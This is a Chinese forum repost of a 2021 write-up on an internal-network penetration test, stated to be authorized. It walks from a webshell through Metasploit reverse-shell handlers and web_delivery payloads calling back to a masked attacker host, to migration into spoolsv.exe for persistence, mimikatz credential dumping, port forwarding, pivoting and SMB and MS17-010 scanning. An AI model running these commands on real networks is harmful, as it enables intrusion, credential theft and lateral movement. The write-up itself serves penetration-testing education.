搜索

[18371] 2021-06-27_实战讲解内网渗透思路

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-27_实战讲解内网渗透思路 0 x 0 1   简 介 简 介 0 x 0 2   获 得 获 得 s h e l l 实 战 讲 解 内 网 渗 透 思 路 A i n   H A C K 之 道   2 0 2 1 - 0 6 - 2 7 收 录 于 话 题 # 实 战 案 例   , 3 # 内 网 渗 透   , 5 文 章 来 源 ： 先 知 社 区 原 文 地 址 ： h t t p s : / / x z . a l i y u n . c o m / t / 6 9 2 0 本 次 测 试 为 实 战 测 试 ， 测 试 环 境 是 授 权 项 目 中 的 一 部 分 ， 敏 感 信 息 内 容 已 做 打 码 处 理 ， 仅 供 讨 论 学 习 。 由 于 本 人 在 内 网 方 面 的 掌 握 也 是 属 于 新 手 阶 段 ， 运 用 到 的 一 些 m s f 攻 击 手 法 也 很 基 础 ， 请 各 位 表 哥 多 多 指 教 。 G e t s h e l l 的 过 程 没 什 么 好 说 的 ， 无 非 简 单 的 后 台 弱 口 令 到 上 传 然 后 冰 蝎 连 接 g e t s h e l l 。 获 得 s h e l l 后 ， 模 拟 终 端 p i n g   8 . 8 . 8 . 8 有 返 回 包 ， 说 明 该 服 务 器 与 外 网 互 通 。 既 然 跟 外 网 互 通 ， 那 么 可 以 尝 试 直 接 使 用 m s f 的 e x p l o i t / m u l t i / h a n d l e r 配 合 冰 蝎 反 弹 s h e l l 来 获 得 s e s s i o n u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   x x x . x x x . x x x . x x x s e t   l p o r t   5 6 6 5 r u n
但 是 结 果 很 不 尽 人 意 ， 没 能 够 成 功 获 得 s e s s i o n 。 在 使 用 冰 蝎 模 拟 终 端 收 集 信 息 过 程 中 ， 发 现 本 地 有 p o w e r s h e l l 进 程 。 再 次 打 开 m s f ， 本 次 尝 试 使 用 w e b _ d e l i v e r y 配 合 终 端 执 行 p o w e r s h e l l 指 令 来 获 得 s e s s i o n 。 u s e   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y s e t   t a r g e t s   2 s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ h t t p s s e t   l h o s t   x x x . x x x . x x x . x x x s e t   l p o r t   4 3 3 2 s e t   s r v p o r t r u n
0 x 0 3   权 限 维 持 权 限 维 持 获 得 p a y l o a d ， 使 用 冰 蝎 或 者 C 刀 模 拟 终 端 直 接 执 行 ， 成 功 获 得 s e s s i o n ， 执 行 g e t u i d 发 现 权 限 为 s y s t e m 权 限 ， 省 去 了 提 权 过 程 。 为 了 获 得 一 个 持 久 稳 定 的 高 权 限 s e s s i o n ， 我 们 需 要 将 当 前 的 s e s s i o n 进 程 迁 移 到 一 个 持 久 、 坚 挺 又 稳 定 的 进 程 上 ， 防 止 突 然 暴 毙 （ 咳 咳 ） 。 我 们 使 用 p s 查 看 当 前 进 程 ， 然 后 选 中 一 个 看 起 来 比 较 持 久 的 幸 运 儿 s p o o l s v . e x e （ 这 是 一 个 用 来 控 制 打 印 的 进 程 ， 我 遇 到 的 机 器 基 本 都 开 启 了 此 进 程 ） 。 注 意 ： 注 意 ： 选 择 进 程 的 时 候 优 先 选 择 系 统 进 程 ， 这 种 比 较 持 久 且 为 s y s t e m 权 限 。 m i g r a t e   进 程 号 g e t p i d
0 x 0 4   内 网 信 息 搜 集 内 网 信 息 搜 集 不 管 是 在 什 么 类 型 的 渗 透 环 境 下 ， 信 息 搜 集 永 远 是 不 可 缺 少 的 一 环 ， 他 决 定 了 你 渗 透 的 效 率 ， 可 以 让 你 在 渗 透 过 程 中 少 走 很 多 弯 路 ， 毕 竟 在 项 目 上 尤 其 是 红 蓝 攻 防 中 ， 最 缺 的 永 远 是 时 间 。 接 下 来 ， 查 看 I P 信 息 以 及 a r p 缓 存 ， 查 看 网 段 分 布 情 况 ：

发 现 该 服 务 器 只 存 在 1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 网 段 的 信 息 ， 于 是 继 续 查 看 其 他 信 息 ， 发 现 服 务 器 开 放 3 3 8 9 端 口 。 n e t s t a t   - a n o
既 然 开 启 了 3 3 8 9 端 口 ， 我 们 使 用 端 口 转 发 ， 登 录 到 服 务 器 看 看 有 没 有 意 外 收 获 。 I P 有 了 ， 3 3 8 9 开 了 ， 现 在 我 们 缺 少 的 是 用 户 名 密 码 ， 直 接 m e t e r p r e t e r 下 加 载 m i m i k a t z 比 较 遗 憾 的 是 没 能 获 取 到 明 文 密 码 ， 但 是 我 这 边 使 用 c o b a l t   s t r i k e 加 载 的 m i m i k a t z 成 功 获 取 到 明 文 密 码 ， e m m m 总 之 搞 不 懂 的 地 方 先 归 为 玄 学 问 题 。 p o r t f w d   a d d   - l   6 6 6 6   - p   3 3 8 9   - r   1 2 7 . 0 . 0 . 1 L o a d   m i m i k a t z W d i g e s t
现 在 ， 密 码 也 有 了 ， m s t s c 链 接 目 标 3 3 8 9 端 口 成 功 ， 此 处 涉 及 的 敏 感 信 息 较 多 ， 放 弃 截 图 ， 我 尽 量 用 语 言 表 述 清 楚 思 路 。 此 处 涉 及 的 敏 感 信 息 较 多 ， 放 弃 截 图 ， 我 尽 量 用 语 言 表 述 清 楚 思 路 。 上 传 n e t p a s s 查 看 r d p 缓 存 ， 无 果 ， 但 是 发 现 系 统 有 V N C ， ， 查 看 V N C 相 关 文 件 发 现 新 的 网 段 信 息 ， 但 是 没 有 保 存 的 连 接 信 息 ， 不 过 能 获 得 新 的 网 段 信 息 也 是 知 足 了 。
0 x 0 5   横 向 移 动 横 向 移 动 至 此 ， 信 息 收 集 部 分 其 实 也 就 差 不 多 ， 接 下 来 我 们 开 始 尝 试 横 向 移 动 。 根 据 之 前 发 现 的 网 段 信 息 以 及 服 务 器 本 机 的 路 由 信 息 ， 我 们 手 动 添 加 路 由 。 其 他 网 段 同 理 ， 添 加 路 由 之 后 退 回 到 控 制 台 ， 先 使 用 模 块 扫 描 一 下 各 网 段 的 s m b 服 务 开 启 情 况 。 可 以 看 到 ， 活 着 的 机 器 还 挺 多 。 r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 r u n   a u t o r o u t e   - s   1 7 2 . 1 6 . 0 . 0 / 2 4 … … b g a u x i l i a r y / s c a n n e r / s m b / s m b _ v e r s i o n u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ v e r s i o n s e t   r h o s t s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 s e t   t h r e a d s   1 0 r u n
使 用 a u x i l i a r y / s c a n n e r / s m b / p s e x e c _ l o g g e d i n _ u s e r s 模 块 配 合 已 获 得 的 两 组 账 户 密 码 进 行 横 向 。 尴 尬 ， 横 向 失 败 ， 居 然 没 有 用 同 账 户 密 码 既 然 横 向 失 败 ， 可 以 考 虑 最 简 单 的 ， 但 也 是 最 实 用 的 大 杀 器 ， m s 1 7 - 0 1 0 ， 先 使 用 模 块 扫 描 一 下 哪 些 机 器 可 能 存 在 m s 1 7 - 0 1 0 的 漏 洞 。 u s e   a u x i l i a r y / s c a n n e r / s m b / p s e x e c _ l o g g e d i n _ u s e r s s e t   r h o s t s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 s e t   s m b u s e r   u s e r n a m e s e t   s m b p a s s   p a s s w o r d s e t   t h r e a d s   5 r u n s c a n n e r u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 s e t   r h o s t s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 s e t   t h r e a d   2 0 r u n
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理